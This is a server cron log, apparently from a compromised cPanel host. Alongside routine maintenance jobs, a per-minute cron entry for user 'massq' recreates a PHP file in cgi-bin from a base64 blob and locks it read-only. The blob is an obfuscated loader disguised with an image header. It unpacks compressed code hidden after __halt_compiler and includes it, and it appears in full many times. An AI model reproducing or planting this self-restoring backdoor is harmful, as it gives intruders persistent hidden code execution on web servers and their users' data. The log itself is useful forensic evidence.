Sep  8 01:30:01 server CROND[4899]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:30:01 server CROND[4904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:30:01 server CROND[4903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:30:01 server CROND[4906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:30:01 server CROND[4905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:30:01 server CROND[4902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:31:01 server CROND[5714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:31:01 server CROND[5715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:31:01 server CROND[5716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:32:01 server CROND[6094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:32:01 server CROND[6095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:32:01 server CROND[6096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:33:01 server CROND[6571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:33:01 server CROND[6572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:33:01 server CROND[6573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:34:01 server CROND[7161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:34:01 server CROND[7162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:34:01 server CROND[7164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:35:01 server CROND[7550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:35:01 server CROND[7551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:35:01 server CROND[7553]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 01:35:01 server CROND[7560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:35:01 server CROND[7563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:35:01 server CROND[7562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:35:01 server CROND[7559]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:35:01 server CROND[7564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:35:01 server CROND[7565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:36:01 server CROND[8387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:36:01 server CROND[8388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:36:01 server CROND[8389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:37:01 server CROND[8763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:37:01 server CROND[8764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:37:01 server CROND[8765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:38:01 server CROND[9230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:38:01 server CROND[9231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:38:01 server CROND[9232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:39:01 server CROND[9610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:39:01 server CROND[9611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:39:01 server CROND[9612]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 01:39:01 server CROND[9613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:40:01 server CROND[10004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:40:01 server CROND[10006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:40:01 server CROND[10008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:40:01 server CROND[10013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:40:01 server CROND[10011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:40:01 server CROND[10014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 01:40:01 server CROND[10015]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 01:40:01 server CROND[10012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:41:01 server CROND[10904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 01:41:01 server CROND[10905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
